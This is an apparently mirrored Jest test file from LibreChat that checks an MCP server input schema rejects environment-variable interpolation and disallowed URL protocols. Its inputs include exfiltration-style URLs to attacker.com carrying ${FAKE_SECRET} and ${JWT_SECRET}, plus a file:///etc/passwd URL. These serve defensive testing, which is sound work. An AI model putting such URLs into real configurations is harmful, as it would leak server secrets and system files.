mirror of
https://github.com/danny-avila/LibreChat.git
synced 2026-03-16 12:46:34 +01:00
148 lines
4.7 KiB
TypeScript
148 lines
4.7 KiB
TypeScript
|
|
import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
|
||
|
|
|
||
|
|
describe('MCPServerUserInputSchema', () => {
|
||
|
|
describe('env variable exfiltration prevention', () => {
|
||
|
|
it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
|
||
|
|
process.env.FAKE_SECRET = 'leaked-secret-value';
|
||
|
|
const adminResult = SSEOptionsSchema.safeParse({
|
||
|
|
type: 'sse',
|
||
|
|
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
||
|
|
});
|
||
|
|
expect(adminResult.success).toBe(true);
|
||
|
|
if (adminResult.success) {
|
||
|
|
expect(adminResult.data.url).toContain('leaked-secret-value');
|
||
|
|
}
|
||
|
|
delete process.env.FAKE_SECRET;
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should reject the same URL through user input schema', () => {
|
||
|
|
process.env.FAKE_SECRET = 'leaked-secret-value';
|
||
|
|
const userResult = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'sse',
|
||
|
|
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
||
|
|
});
|
||
|
|
expect(userResult.success).toBe(false);
|
||
|
|
delete process.env.FAKE_SECRET;
|
||
|
|
});
|
||
|
|
});
|
||
|
|
|
||
|
|
describe('env variable rejection', () => {
|
||
|
|
it('should reject SSE URLs containing env variable patterns', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'sse',
|
||
|
|
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(false);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should reject streamable-http URLs containing env variable patterns', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'streamable-http',
|
||
|
|
url: 'http://attacker.com/?jwt=${JWT_SECRET}',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(false);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should reject WebSocket URLs containing env variable patterns', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'websocket',
|
||
|
|
url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(false);
|
||
|
|
});
|
||
|
|
});
|
||
|
|
|
||
|
|
describe('protocol allowlisting', () => {
|
||
|
|
it('should reject file:// URLs for SSE', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'sse',
|
||
|
|
url: 'file:///etc/passwd',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(false);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should reject ftp:// URLs for streamable-http', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'streamable-http',
|
||
|
|
url: 'ftp://internal-server/data',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(false);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should reject http:// URLs for WebSocket', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'websocket',
|
||
|
|
url: 'http://example.com/ws',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(false);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should reject ws:// URLs for SSE', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'sse',
|
||
|
|
url: 'ws://example.com/sse',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(false);
|
||
|
|
});
|
||
|
|
});
|
||
|
|
|
||
|
|
describe('valid URL acceptance', () => {
|
||
|
|
it('should accept valid https:// SSE URLs', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'sse',
|
||
|
|
url: 'https://mcp-server.com/sse',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(true);
|
||
|
|
if (result.success) {
|
||
|
|
expect(result.data.url).toBe('https://mcp-server.com/sse');
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should accept valid http:// SSE URLs', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'sse',
|
||
|
|
url: 'http://mcp-server.com/sse',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(true);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should accept valid wss:// WebSocket URLs', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'websocket',
|
||
|
|
url: 'wss://mcp-server.com/ws',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(true);
|
||
|
|
if (result.success) {
|
||
|
|
expect(result.data.url).toBe('wss://mcp-server.com/ws');
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should accept valid ws:// WebSocket URLs', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'websocket',
|
||
|
|
url: 'ws://mcp-server.com/ws',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(true);
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should accept valid https:// streamable-http URLs', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'streamable-http',
|
||
|
|
url: 'https://mcp-server.com/http',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(true);
|
||
|
|
if (result.success) {
|
||
|
|
expect(result.data.url).toBe('https://mcp-server.com/http');
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('should accept valid http:// streamable-http URLs with "http" alias', () => {
|
||
|
|
const result = MCPServerUserInputSchema.safeParse({
|
||
|
|
type: 'http',
|
||
|
|
url: 'http://mcp-server.com/mcp',
|
||
|
|
});
|
||
|
|
expect(result.success).toBe(true);
|
||
|
|
});
|
||
|
|
});
|
||
|
|
});
|